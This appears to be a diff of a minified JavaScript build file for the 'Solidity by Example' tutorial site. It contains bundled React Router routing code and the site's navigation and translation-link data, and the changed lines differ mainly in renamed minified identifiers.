n.some(Go)&&(l+=nd),a&&(l+=qI),n.filter(p=>!Go(p)).reduce((p,e)=>p+(PI.test(e)?$I:e===""?sd:ad),l)}function pd(s,a){return s.length===a.length&&s.slice(0,-1).every((l,p)=>l===a[p])?s[s.length-1]-a[a.length-1]:0}function ed(s,a,n){let{routesMeta:l}=s,p={},e="/",c=[];for(let t=0;t{let{paramName:j,isOptional:u}=I;if(j==="*"){let b=t[d]||"";c=e.slice(0,e.length-b.length).replace(/(.)\/+$/,"$1")}const m=t[d];return u&&!m?i[j]=void 0:i[j]=(m||"").replace(/%2F/g,"/"),i},{}),pathname:e,pathnameBase:c,pattern:s}}function cd(s,a,n){a===void 0&&(a=!1),n===void 0&&(n=!0),ag(s==="*"||!s.endsWith("*")||s.endsWith("/*"),'Route path "'+s+'" will be treated as if it were '+('"'+s.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+s.replace(/\*$/,"/*")+'".'));let l=[],p="^"+s.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(c,t,o)=>(l.push({paramName:t,isOptional:o!=null}),o?"/?([^\\/]+)?":"/([^\\/]+)"));return s.endsWith("*")?(l.push({paramName:"*"}),p+=s==="*"||s==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?p+="\\/*$":s!==""&&s!=="/"&&(p+="(?:(?=\\/|$))"),[new RegExp(p,a?void 0:"i"),l]}function td(s){try{return s.split("/").map(a=>decodeURIComponent(a).replace(/\//g,"%2F")).join("/")}catch(a){return ag(!1,'The URL path "'+s+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+a+").")),s}}function eg(s,a){if(a==="/")return s;if(!s.toLowerCase().startsWith(a.toLowerCase()))return null;let n=a.endsWith("/")?a.length-1:a.length,l=s.charAt(n);return l&&l!=="/"?null:s.slice(n)||"/"}function od(s,a){a===void 0&&(a="/");let{pathname:n,search:l="",hash:p=""}=typeof s=="string"?jn(s):s;return{pathname:n?n.startsWith("/")?n:rd(n,a):a,search:dd(l),hash:Cd(p)}}function rd(s,a){let n=a.replace(/\/+$/,"").split("/");return s.split("/").forEach(p=>{p===".."?n.length>1&&n.pop():p!=="."&&n.push(p)}),n.length>1?n.join("/"):"/"}function he(s,a,n,l){return"Cannot include a '"+s+"' character in a manually specified "+("`to."+a+"` field ["+JSON.stringify(l)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function id(s){return s.filter((a,n)=>n===0||a.route.path&&a.route.path.length>0)}function gd(s,a){let n=id(s);return a?n.map((l,p)=>p===n.length-1?l.pathname:l.pathnameBase):n.map(l=>l.pathnameBase)}function hd(s,a,n,l){l===void 0&&(l=!1);let p;typeof s=="string"?p=jn(s):(p=pl({},s),P(!p.pathname||!p.pathname.includes("?"),he("?","pathname","search",p)),P(!p.pathname||!p.pathname.includes("#"),he("#","pathname","hash",p)),P(!p.search||!p.search.includes("#"),he("#","search","hash",p)));let e=s===""||p.pathname==="",c=e?"/":p.pathname,t;if(c==null)t=n;else{let d=a.length-1;if(!l&&c.startsWith("..")){let j=c.split("/");for(;j[0]==="..";)j.shift(),d-=1;p.pathname=j.join("/")}t=d>=0?a[d]:"/"}let o=od(p,t),i=c&&c!=="/"&&c.endsWith("/"),I=(e||c===".")&&n.endsWith("/");return!o.pathname.endsWith("/")&&(i||I)&&(o.pathname+="/"),o}const Xa=s=>s.join("/").replace(/\/\/+/g,"/"),Id=s=>s.replace(/\/+$/,"").replace(/^\/*/,"/"),dd=s=>!s||s==="?"?"":s.startsWith("?")?s:"?"+s,Cd=s=>!s||s==="#"?"":s.startsWith("#")?s:"#"+s;function jd(s){return s!=null&&typeof s.status=="number"&&typeof s.statusText=="string"&&typeof s.internal=="boolean"&&"data"in s}const cg=["post","put","patch","delete"];new Set(cg);const Ad=["get",...cg];new Set(Ad);/** + */function pl(){return pl=Object.assign?Object.assign.bind():function(s){for(var a=1;a"u")throw new Error(a)}function ag(s,a){if(!s){typeof console<"u"&&console.warn(a);try{throw new Error(a)}catch{}}}function TI(){return Math.random().toString(36).substr(2,8)}function Zo(s,a){return{usr:s.state,key:s.key,idx:a}}function tc(s,a,n,l){return n===void 0&&(n=null),pl({pathname:typeof s=="string"?s:s.pathname,search:"",hash:""},typeof a=="string"?jn(a):a,{state:n,key:a&&a.key||l||TI()})}function ng(s){let{pathname:a="/",search:n="",hash:l=""}=s;return n&&n!=="?"&&(a+=n.charAt(0)==="?"?n:"?"+n),l&&l!=="#"&&(a+=l.charAt(0)==="#"?l:"#"+l),a}function jn(s){let a={};if(s){let n=s.indexOf("#");n>=0&&(a.hash=s.substr(n),s=s.substr(0,n));let l=s.indexOf("?");l>=0&&(a.search=s.substr(l),s=s.substr(0,l)),s&&(a.pathname=s)}return a}function LI(s,a,n,l){l===void 0&&(l={});let{window:p=document.defaultView,v5Compat:e=!1}=l,c=p.history,t=oa.Pop,o=null,i=I();i==null&&(i=0,c.replaceState(pl({},c.state,{idx:i}),""));function I(){return(c.state||{idx:null}).idx}function d(){t=oa.Pop;let G=I(),h=G==null?null:G-i;i=G,o&&o({action:t,location:b.location,delta:h})}function j(G,h){t=oa.Push;let g=tc(b.location,G,h);i=I()+1;let C=Zo(g,i),y=b.createHref(g);try{c.pushState(C,"",y)}catch(Z){if(Z instanceof DOMException&&Z.name==="DataCloneError")throw Z;p.location.assign(y)}e&&o&&o({action:t,location:b.location,delta:1})}function u(G,h){t=oa.Replace;let g=tc(b.location,G,h);i=I();let C=Zo(g,i),y=b.createHref(g);c.replaceState(C,"",y),e&&o&&o({action:t,location:b.location,delta:0})}function m(G){let h=p.location.origin!=="null"?p.location.origin:p.location.href,g=typeof G=="string"?G:ng(G);return g=g.replace(/ $/,"%20"),P(h,"No window.location.(origin|href) available to create URL for href: "+g),new URL(g,h)}let b={get action(){return t},get location(){return s(p,c)},listen(G){if(o)throw new Error("A history only accepts one active listener");return p.addEventListener(ko,d),o=G,()=>{p.removeEventListener(ko,d),o=null}},createHref(G){return a(p,G)},createURL:m,encodeLocation(G){let h=m(G);return{pathname:h.pathname,search:h.search,hash:h.hash}},push:j,replace:u,go(G){return c.go(G)}};return b}var Wo;(function(s){s.data="data",s.deferred="deferred",s.redirect="redirect",s.error="error"})(Wo||(Wo={}));function UI(s,a,n){return n===void 0&&(n="/"),_I(s,a,n,!1)}function _I(s,a,n,l){let p=typeof a=="string"?jn(a):a,e=eg(p.pathname||"/",n);if(e==null)return null;let c=lg(s);OI(c);let t=null;for(let o=0;t==null&&o{let o={relativePath:t===void 0?e.path||"":t,caseSensitive:e.caseSensitive===!0,childrenIndex:c,route:e};o.relativePath.startsWith("/")&&(P(o.relativePath.startsWith(l),'Absolute route path "'+o.relativePath+'" nested under path '+('"'+l+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),o.relativePath=o.relativePath.slice(l.length));let i=Xa([l,o.relativePath]),I=n.concat(o);e.children&&e.children.length>0&&(P(e.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+i+'".')),lg(e.children,a,I,i)),!(e.path==null&&!e.index)&&a.push({path:i,score:ld(i,e.index),routesMeta:I})};return s.forEach((e,c)=>{var t;if(e.path===""||!((t=e.path)!=null&&t.includes("?")))p(e,c);else for(let o of pg(e.path))p(e,c,o)}),a}function pg(s){let a=s.split("/");if(a.length===0)return[];let[n,...l]=a,p=n.endsWith("?"),e=n.replace(/\?$/,"");if(l.length===0)return p?[e,""]:[e];let c=pg(l.join("/")),t=[];return t.push(...c.map(o=>o===""?e:[e,o].join("/"))),p&&t.push(...c),t.map(o=>s.startsWith("/")&&o===""?"/":o)}function OI(s){s.sort((a,n)=>a.score!==n.score?n.score-a.score:pd(a.routesMeta.map(l=>l.childrenIndex),n.routesMeta.map(l=>l.childrenIndex)))}const PI=/^:[\w-]+$/,$I=3,qI=2,sd=1,ad=10,nd=-2,Go=s=>s==="*";function ld(s,a){let n=s.split("/"),l=n.length;return n.some(Go)&&(l+=nd),a&&(l+=qI),n.filter(p=>!Go(p)).reduce((p,e)=>p+(PI.test(e)?$I:e===""?sd:ad),l)}function pd(s,a){return s.length===a.length&&s.slice(0,-1).every((l,p)=>l===a[p])?s[s.length-1]-a[a.length-1]:0}function ed(s,a,n){let{routesMeta:l}=s,p={},e="/",c=[];for(let t=0;t{let{paramName:j,isOptional:u}=I;if(j==="*"){let b=t[d]||"";c=e.slice(0,e.length-b.length).replace(/(.)\/+$/,"$1")}const m=t[d];return u&&!m?i[j]=void 0:i[j]=(m||"").replace(/%2F/g,"/"),i},{}),pathname:e,pathnameBase:c,pattern:s}}function cd(s,a,n){a===void 0&&(a=!1),n===void 0&&(n=!0),ag(s==="*"||!s.endsWith("*")||s.endsWith("/*"),'Route path "'+s+'" will be treated as if it were '+('"'+s.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+s.replace(/\*$/,"/*")+'".'));let l=[],p="^"+s.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(c,t,o)=>(l.push({paramName:t,isOptional:o!=null}),o?"/?([^\\/]+)?":"/([^\\/]+)"));return s.endsWith("*")?(l.push({paramName:"*"}),p+=s==="*"||s==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?p+="\\/*$":s!==""&&s!=="/"&&(p+="(?:(?=\\/|$))"),[new RegExp(p,a?void 0:"i"),l]}function td(s){try{return s.split("/").map(a=>decodeURIComponent(a).replace(/\//g,"%2F")).join("/")}catch(a){return ag(!1,'The URL path "'+s+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+a+").")),s}}function eg(s,a){if(a==="/")return s;if(!s.toLowerCase().startsWith(a.toLowerCase()))return null;let n=a.endsWith("/")?a.length-1:a.length,l=s.charAt(n);return l&&l!=="/"?null:s.slice(n)||"/"}function od(s,a){a===void 0&&(a="/");let{pathname:n,search:l="",hash:p=""}=typeof s=="string"?jn(s):s;return{pathname:n?n.startsWith("/")?n:rd(n,a):a,search:dd(l),hash:Cd(p)}}function rd(s,a){let n=a.replace(/\/+$/,"").split("/");return s.split("/").forEach(p=>{p===".."?n.length>1&&n.pop():p!=="."&&n.push(p)}),n.length>1?n.join("/"):"/"}function he(s,a,n,l){return"Cannot include a '"+s+"' character in a manually specified "+("`to."+a+"` field ["+JSON.stringify(l)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function id(s){return s.filter((a,n)=>n===0||a.route.path&&a.route.path.length>0)}function gd(s,a){let n=id(s);return a?n.map((l,p)=>p===n.length-1?l.pathname:l.pathnameBase):n.map(l=>l.pathnameBase)}function hd(s,a,n,l){l===void 0&&(l=!1);let p;typeof s=="string"?p=jn(s):(p=pl({},s),P(!p.pathname||!p.pathname.includes("?"),he("?","pathname","search",p)),P(!p.pathname||!p.pathname.includes("#"),he("#","pathname","hash",p)),P(!p.search||!p.search.includes("#"),he("#","search","hash",p)));let e=s===""||p.pathname==="",c=e?"/":p.pathname,t;if(c==null)t=n;else{let d=a.length-1;if(!l&&c.startsWith("..")){let j=c.split("/");for(;j[0]==="..";)j.shift(),d-=1;p.pathname=j.join("/")}t=d>=0?a[d]:"/"}let o=od(p,t),i=c&&c!=="/"&&c.endsWith("/"),I=(e||c===".")&&n.endsWith("/");return!o.pathname.endsWith("/")&&(i||I)&&(o.pathname+="/"),o}const Xa=s=>s.join("/").replace(/\/\/+/g,"/"),Id=s=>s.replace(/\/+$/,"").replace(/^\/*/,"/"),dd=s=>!s||s==="?"?"":s.startsWith("?")?s:"?"+s,Cd=s=>!s||s==="#"?"":s.startsWith("#")?s:"#"+s;function jd(s){return s!=null&&typeof s.status=="number"&&typeof s.statusText=="string"&&typeof s.internal=="boolean"&&"data"in s}const cg=["post","put","patch","delete"];new Set(cg);const Ad=["get",...cg];new Set(Ad);/** * React Router v6.26.1 * * Copyright (c) Remix Software Inc. @@ -55,7 +55,7 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function el(){return el=Object.assign?Object.assign.bind():function(s){for(var a=1;a{t.current=!0}),W.useCallback(function(i,I){if(I===void 0&&(I={}),!t.current)return;if(typeof i=="number"){l.go(i);return}let d=hd(i,JSON.parse(c),e,I.relative==="path");s==null&&a!=="/"&&(d.pathname=d.pathname==="/"?a:Xa([a,d.pathname])),(I.replace?l.replace:l.push)(d,I.state,I)},[a,l,c,e,s])}function bd(s,a){return wd(s,a)}function wd(s,a,n,l){Hp()||P(!1);let{navigator:p}=W.useContext(vp),{matches:e}=W.useContext(An),c=e[e.length-1],t=c?c.params:{};c&&c.pathname;let o=c?c.pathnameBase:"/";c&&c.route;let i=Kp(),I;if(a){var d;let G=typeof a=="string"?jn(a):a;o==="/"||(d=G.pathname)!=null&&d.startsWith(o)||P(!1),I=G}else I=i;let j=I.pathname||"/",u=j;if(o!=="/"){let G=o.replace(/^\//,"").split("/");u="/"+j.replace(/^\//,"").split("/").slice(G.length).join("/")}let m=LI(s,{pathname:u}),b=Bd(m&&m.map(G=>Object.assign({},G,{params:Object.assign({},t,G.params),pathname:Xa([o,p.encodeLocation?p.encodeLocation(G.pathname).pathname:G.pathname]),pathnameBase:G.pathnameBase==="/"?o:Xa([o,p.encodeLocation?p.encodeLocation(G.pathnameBase).pathname:G.pathnameBase])})),e,n,l);return a&&b?W.createElement(Np.Provider,{value:{location:el({pathname:"/",search:"",hash:"",state:null,key:"default"},I),navigationType:oa.Pop}},b):b}function kd(){let s=Xd(),a=jd(s)?s.status+" "+s.statusText:s instanceof Error?s.message:JSON.stringify(s),n=s instanceof Error?s.stack:null,p={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return W.createElement(W.Fragment,null,W.createElement("h2",null,"Unexpected Application Error!"),W.createElement("h3",{style:{fontStyle:"italic"}},a),n?W.createElement("pre",{style:p},n):null,null)}const Zd=W.createElement(kd,null);class Wd extends W.Component{constructor(a){super(a),this.state={location:a.location,revalidation:a.revalidation,error:a.error}}static getDerivedStateFromError(a){return{error:a}}static getDerivedStateFromProps(a,n){return n.location!==a.location||n.revalidation!=="idle"&&a.revalidation==="idle"?{error:a.error,location:a.location,revalidation:a.revalidation}:{error:a.error!==void 0?a.error:n.error,location:n.location,revalidation:a.revalidation||n.revalidation}}componentDidCatch(a,n){console.error("React Router caught the following error during render",a,n)}render(){return this.state.error!==void 0?W.createElement(An.Provider,{value:this.props.routeContext},W.createElement(tg.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function Gd(s){let{routeContext:a,match:n,children:l}=s,p=W.useContext(ot);return p&&p.static&&p.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(p.staticContext._deepestRenderedBoundaryId=n.route.id),W.createElement(An.Provider,{value:a},l)}function Bd(s,a,n,l){var p;if(a===void 0&&(a=[]),n===void 0&&(n=null),l===void 0&&(l=null),s==null){var e;if(!n)return null;if(n.errors)s=n.matches;else if((e=l)!=null&&e.v7_partialHydration&&a.length===0&&!n.initialized&&n.matches.length>0)s=n.matches;else return null}let c=s,t=(p=n)==null?void 0:p.errors;if(t!=null){let I=c.findIndex(d=>d.route.id&&(t==null?void 0:t[d.route.id])!==void 0);I>=0||P(!1),c=c.slice(0,Math.min(c.length,I+1))}let o=!1,i=-1;if(n&&l&&l.v7_partialHydration)for(let I=0;I=0?c=c.slice(0,i+1):c=[c[0]];break}}}return c.reduceRight((I,d,j)=>{let u,m=!1,b=null,G=null;n&&(u=t&&d.route.id?t[d.route.id]:void 0,b=d.route.errorElement||Zd,o&&(i<0&&j===0?(m=!0,G=null):i===j&&(m=!0,G=d.route.hydrateFallbackElement||null)));let h=a.concat(c.slice(0,j+1)),g=()=>{let C;return u?C=b:m?C=G:d.route.Component?C=W.createElement(d.route.Component,null):d.route.element?C=d.route.element:C=I,W.createElement(Gd,{match:d,routeContext:{outlet:I,matches:h,isDataRoute:n!=null},children:C})};return n&&(d.route.ErrorBoundary||d.route.errorElement||j===0)?W.createElement(Wd,{location:n.location,revalidation:n.revalidation,component:b,error:u,children:g(),routeContext:{outlet:null,matches:h,isDataRoute:!0}}):g()},null)}var rg=function(s){return s.UseBlocker="useBlocker",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s}(rg||{}),Cp=function(s){return s.UseBlocker="useBlocker",s.UseLoaderData="useLoaderData",s.UseActionData="useActionData",s.UseRouteError="useRouteError",s.UseNavigation="useNavigation",s.UseRouteLoaderData="useRouteLoaderData",s.UseMatches="useMatches",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s.UseRouteId="useRouteId",s}(Cp||{});function fd(s){let a=W.useContext(ot);return a||P(!1),a}function Vd(s){let a=W.useContext(ud);return a||P(!1),a}function Yd(s){let a=W.useContext(An);return a||P(!1),a}function ig(s){let a=Yd(),n=a.matches[a.matches.length-1];return n.route.id||P(!1),n.route.id}function Xd(){var s;let a=W.useContext(tg),n=Vd(Cp.UseRouteError),l=ig(Cp.UseRouteError);return a!==void 0?a:(s=n.errors)==null?void 0:s[l]}function Rd(){let{router:s}=fd(rg.UseNavigateStable),a=ig(Cp.UseNavigateStable),n=W.useRef(!1);return og(()=>{n.current=!0}),W.useCallback(function(p,e){e===void 0&&(e={}),n.current&&(typeof p=="number"?s.navigate(p):s.navigate(p,el({fromRouteId:a},e)))},[s,a])}function gg(s){P(!1)}function vd(s){let{basename:a="/",children:n=null,location:l,navigationType:p=oa.Pop,navigator:e,static:c=!1,future:t}=s;Hp()&&P(!1);let o=a.replace(/^\/*/,"/"),i=W.useMemo(()=>({basename:o,navigator:e,static:c,future:el({v7_relativeSplatPath:!1},t)}),[o,t,e,c]);typeof l=="string"&&(l=jn(l));let{pathname:I="/",search:d="",hash:j="",state:u=null,key:m="default"}=l,b=W.useMemo(()=>{let G=eg(I,o);return G==null?null:{location:{pathname:G,search:d,hash:j,state:u,key:m},navigationType:p}},[o,I,d,j,u,m,p]);return b==null?null:W.createElement(vp.Provider,{value:i},W.createElement(Np.Provider,{children:n,value:b}))}function Nd(s){let{children:a,location:n}=s;return bd(rc(a),n)}new Promise(()=>{});function rc(s,a){a===void 0&&(a=[]);let n=[];return W.Children.forEach(s,(l,p)=>{if(!W.isValidElement(l))return;let e=[...a,p];if(l.type===W.Fragment){n.push.apply(n,rc(l.props.children,e));return}l.type!==gg&&P(!1),!l.props.index||!l.props.children||P(!1);let c={id:l.props.id||e.join("-"),caseSensitive:l.props.caseSensitive,element:l.props.element,Component:l.props.Component,index:l.props.index,path:l.props.path,loader:l.props.loader,action:l.props.action,errorElement:l.props.errorElement,ErrorBoundary:l.props.ErrorBoundary,hasErrorBoundary:l.props.ErrorBoundary!=null||l.props.errorElement!=null,shouldRevalidate:l.props.shouldRevalidate,handle:l.props.handle,lazy:l.props.lazy};l.props.children&&(c.children=rc(l.props.children,e)),n.push(c)}),n}/** + */function el(){return el=Object.assign?Object.assign.bind():function(s){for(var a=1;a{t.current=!0}),W.useCallback(function(i,I){if(I===void 0&&(I={}),!t.current)return;if(typeof i=="number"){l.go(i);return}let d=hd(i,JSON.parse(c),e,I.relative==="path");s==null&&a!=="/"&&(d.pathname=d.pathname==="/"?a:Xa([a,d.pathname])),(I.replace?l.replace:l.push)(d,I.state,I)},[a,l,c,e,s])}function bd(s,a){return wd(s,a)}function wd(s,a,n,l){Hp()||P(!1);let{navigator:p}=W.useContext(vp),{matches:e}=W.useContext(An),c=e[e.length-1],t=c?c.params:{};c&&c.pathname;let o=c?c.pathnameBase:"/";c&&c.route;let i=Kp(),I;if(a){var d;let G=typeof a=="string"?jn(a):a;o==="/"||(d=G.pathname)!=null&&d.startsWith(o)||P(!1),I=G}else I=i;let j=I.pathname||"/",u=j;if(o!=="/"){let G=o.replace(/^\//,"").split("/");u="/"+j.replace(/^\//,"").split("/").slice(G.length).join("/")}let m=UI(s,{pathname:u}),b=Bd(m&&m.map(G=>Object.assign({},G,{params:Object.assign({},t,G.params),pathname:Xa([o,p.encodeLocation?p.encodeLocation(G.pathname).pathname:G.pathname]),pathnameBase:G.pathnameBase==="/"?o:Xa([o,p.encodeLocation?p.encodeLocation(G.pathnameBase).pathname:G.pathnameBase])})),e,n,l);return a&&b?W.createElement(Np.Provider,{value:{location:el({pathname:"/",search:"",hash:"",state:null,key:"default"},I),navigationType:oa.Pop}},b):b}function kd(){let s=Xd(),a=jd(s)?s.status+" "+s.statusText:s instanceof Error?s.message:JSON.stringify(s),n=s instanceof Error?s.stack:null,p={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return W.createElement(W.Fragment,null,W.createElement("h2",null,"Unexpected Application Error!"),W.createElement("h3",{style:{fontStyle:"italic"}},a),n?W.createElement("pre",{style:p},n):null,null)}const Zd=W.createElement(kd,null);class Wd extends W.Component{constructor(a){super(a),this.state={location:a.location,revalidation:a.revalidation,error:a.error}}static getDerivedStateFromError(a){return{error:a}}static getDerivedStateFromProps(a,n){return n.location!==a.location||n.revalidation!=="idle"&&a.revalidation==="idle"?{error:a.error,location:a.location,revalidation:a.revalidation}:{error:a.error!==void 0?a.error:n.error,location:n.location,revalidation:a.revalidation||n.revalidation}}componentDidCatch(a,n){console.error("React Router caught the following error during render",a,n)}render(){return this.state.error!==void 0?W.createElement(An.Provider,{value:this.props.routeContext},W.createElement(tg.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function Gd(s){let{routeContext:a,match:n,children:l}=s,p=W.useContext(ot);return p&&p.static&&p.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(p.staticContext._deepestRenderedBoundaryId=n.route.id),W.createElement(An.Provider,{value:a},l)}function Bd(s,a,n,l){var p;if(a===void 0&&(a=[]),n===void 0&&(n=null),l===void 0&&(l=null),s==null){var e;if(!n)return null;if(n.errors)s=n.matches;else if((e=l)!=null&&e.v7_partialHydration&&a.length===0&&!n.initialized&&n.matches.length>0)s=n.matches;else return null}let c=s,t=(p=n)==null?void 0:p.errors;if(t!=null){let I=c.findIndex(d=>d.route.id&&(t==null?void 0:t[d.route.id])!==void 0);I>=0||P(!1),c=c.slice(0,Math.min(c.length,I+1))}let o=!1,i=-1;if(n&&l&&l.v7_partialHydration)for(let I=0;I=0?c=c.slice(0,i+1):c=[c[0]];break}}}return c.reduceRight((I,d,j)=>{let u,m=!1,b=null,G=null;n&&(u=t&&d.route.id?t[d.route.id]:void 0,b=d.route.errorElement||Zd,o&&(i<0&&j===0?(m=!0,G=null):i===j&&(m=!0,G=d.route.hydrateFallbackElement||null)));let h=a.concat(c.slice(0,j+1)),g=()=>{let C;return u?C=b:m?C=G:d.route.Component?C=W.createElement(d.route.Component,null):d.route.element?C=d.route.element:C=I,W.createElement(Gd,{match:d,routeContext:{outlet:I,matches:h,isDataRoute:n!=null},children:C})};return n&&(d.route.ErrorBoundary||d.route.errorElement||j===0)?W.createElement(Wd,{location:n.location,revalidation:n.revalidation,component:b,error:u,children:g(),routeContext:{outlet:null,matches:h,isDataRoute:!0}}):g()},null)}var rg=function(s){return s.UseBlocker="useBlocker",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s}(rg||{}),Cp=function(s){return s.UseBlocker="useBlocker",s.UseLoaderData="useLoaderData",s.UseActionData="useActionData",s.UseRouteError="useRouteError",s.UseNavigation="useNavigation",s.UseRouteLoaderData="useRouteLoaderData",s.UseMatches="useMatches",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s.UseRouteId="useRouteId",s}(Cp||{});function fd(s){let a=W.useContext(ot);return a||P(!1),a}function Vd(s){let a=W.useContext(ud);return a||P(!1),a}function Yd(s){let a=W.useContext(An);return a||P(!1),a}function ig(s){let a=Yd(),n=a.matches[a.matches.length-1];return n.route.id||P(!1),n.route.id}function Xd(){var s;let a=W.useContext(tg),n=Vd(Cp.UseRouteError),l=ig(Cp.UseRouteError);return a!==void 0?a:(s=n.errors)==null?void 0:s[l]}function Rd(){let{router:s}=fd(rg.UseNavigateStable),a=ig(Cp.UseNavigateStable),n=W.useRef(!1);return og(()=>{n.current=!0}),W.useCallback(function(p,e){e===void 0&&(e={}),n.current&&(typeof p=="number"?s.navigate(p):s.navigate(p,el({fromRouteId:a},e)))},[s,a])}function gg(s){P(!1)}function vd(s){let{basename:a="/",children:n=null,location:l,navigationType:p=oa.Pop,navigator:e,static:c=!1,future:t}=s;Hp()&&P(!1);let o=a.replace(/^\/*/,"/"),i=W.useMemo(()=>({basename:o,navigator:e,static:c,future:el({v7_relativeSplatPath:!1},t)}),[o,t,e,c]);typeof l=="string"&&(l=jn(l));let{pathname:I="/",search:d="",hash:j="",state:u=null,key:m="default"}=l,b=W.useMemo(()=>{let G=eg(I,o);return G==null?null:{location:{pathname:G,search:d,hash:j,state:u,key:m},navigationType:p}},[o,I,d,j,u,m,p]);return b==null?null:W.createElement(vp.Provider,{value:i},W.createElement(Np.Provider,{children:n,value:b}))}function Nd(s){let{children:a,location:n}=s;return bd(rc(a),n)}new Promise(()=>{});function rc(s,a){a===void 0&&(a=[]);let n=[];return W.Children.forEach(s,(l,p)=>{if(!W.isValidElement(l))return;let e=[...a,p];if(l.type===W.Fragment){n.push.apply(n,rc(l.props.children,e));return}l.type!==gg&&P(!1),!l.props.index||!l.props.children||P(!1);let c={id:l.props.id||e.join("-"),caseSensitive:l.props.caseSensitive,element:l.props.element,Component:l.props.Component,index:l.props.index,path:l.props.path,loader:l.props.loader,action:l.props.action,errorElement:l.props.errorElement,ErrorBoundary:l.props.ErrorBoundary,hasErrorBoundary:l.props.ErrorBoundary!=null||l.props.errorElement!=null,shouldRevalidate:l.props.shouldRevalidate,handle:l.props.handle,lazy:l.props.lazy};l.props.children&&(c.children=rc(l.props.children,e)),n.push(c)}),n}/** * React Router DOM v6.26.1 * * Copyright (c) Remix Software Inc. @@ -64,7 +64,7 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function ic(s){return s===void 0&&(s=""),new URLSearchParams(typeof s=="string"||Array.isArray(s)||s instanceof URLSearchParams?s:Object.keys(s).reduce((a,n)=>{let l=s[n];return a.concat(Array.isArray(l)?l.map(p=>[n,p]):[[n,l]])},[]))}function Hd(s,a){let n=ic(s);return a&&a.forEach((l,p)=>{n.has(p)||a.getAll(p).forEach(e=>{n.append(p,e)})}),n}const Kd="6";try{window.__reactRouterVersion=Kd}catch{}const Fd="startTransition",Bo=vg[Fd];function Md(s){let{basename:a,children:n,future:l,window:p}=s,e=W.useRef();e.current==null&&(e.current=QI({window:p,v5Compat:!0}));let c=e.current,[t,o]=W.useState({action:c.action,location:c.location}),{v7_startTransition:i}=l||{},I=W.useCallback(d=>{i&&Bo?Bo(()=>o(d)):o(d)},[o,i]);return W.useLayoutEffect(()=>c.listen(I),[c,I]),W.createElement(vd,{basename:a,children:n,location:t.location,navigationType:t.action,navigator:c,future:l})}var fo;(function(s){s.UseScrollRestoration="useScrollRestoration",s.UseSubmit="useSubmit",s.UseSubmitFetcher="useSubmitFetcher",s.UseFetcher="useFetcher",s.useViewTransitionState="useViewTransitionState"})(fo||(fo={}));var Vo;(function(s){s.UseFetcher="useFetcher",s.UseFetchers="useFetchers",s.UseScrollRestoration="useScrollRestoration"})(Vo||(Vo={}));function Sd(s){let a=W.useRef(ic(s)),n=W.useRef(!1),l=Kp(),p=W.useMemo(()=>Hd(l.search,n.current?null:a.current),[l.search]),e=yd(),c=W.useCallback((t,o)=>{const i=ic(typeof t=="function"?t(p):t);n.current=!0,e("?"+i,o)},[e,p]);return[p,c]}const xd="_component_nqcni_1",Jd="_sideNav_nqcni_6",zd="_main_nqcni_13",Dd="_children_nqcni_21",Xl={component:xd,sideNav:Jd,main:zd,children:Dd},Ed="_list_1ltry_1",Qd="_title_1ltry_6",Td="_listItem_1ltry_11",Ud="_listItemActive_1ltry_18",Ld="_link_1ltry_26",xa={list:Ed,title:Qd,listItem:Td,listItemActive:Ud,link:Ld},_d=[{lang:"Armenian",url:"https://pranatech.org/solidity-by-example-hy/"},{lang:"Persian",url:"https://solidifa.ir/solidity-by-example/"},{lang:"Persian",url:"https://siblearn.dev/solidity-by-example"},{lang:"Spanish",url:"https://github.com/lcadafalch/solidity_attacks"},{lang:"Simplified Chinese",url:"https://github.com/Web3-Club/solidity-by-example_Chinese"}],Od=[{path:"hello-world",title:"Hello World"},{path:"first-app",title:"First App"},{path:"primitives",title:"Primitive Data Types"},{path:"variables",title:"Variables"},{path:"constants",title:"Constants"},{path:"immutable",title:"Immutable"},{path:"state-variables",title:"Reading and Writing to a State Variable"},{path:"ether-units",title:"Ether and Wei"},{path:"gas",title:"Gas and Gas Price"},{path:"if-else",title:"If / Else"},{path:"loop",title:"For and While Loop"},{path:"mapping",title:"Mapping"},{path:"array",title:"Array"},{path:"enum",title:"Enum"},{path:"user-defined-value-types",title:"User Defined Value Types"},{path:"structs",title:"Structs"},{path:"data-locations",title:"Data Locations - Storage, Memory and Calldata"},{path:"transient-storage",title:"Transient Storage"},{path:"function",title:"Function"},{path:"view-and-pure-functions",title:"View and Pure Functions"},{path:"error",title:"Error"},{path:"function-modifier",title:"Function Modifier"},{path:"events",title:"Events"},{path:"events-advanced",title:"Events Advanced"},{path:"constructor",title:"Constructor"},{path:"inheritance",title:"Inheritance"},{path:"shadowing-inherited-state-variables",title:"Shadowing Inherited State Variables"},{path:"super",title:"Calling Parent 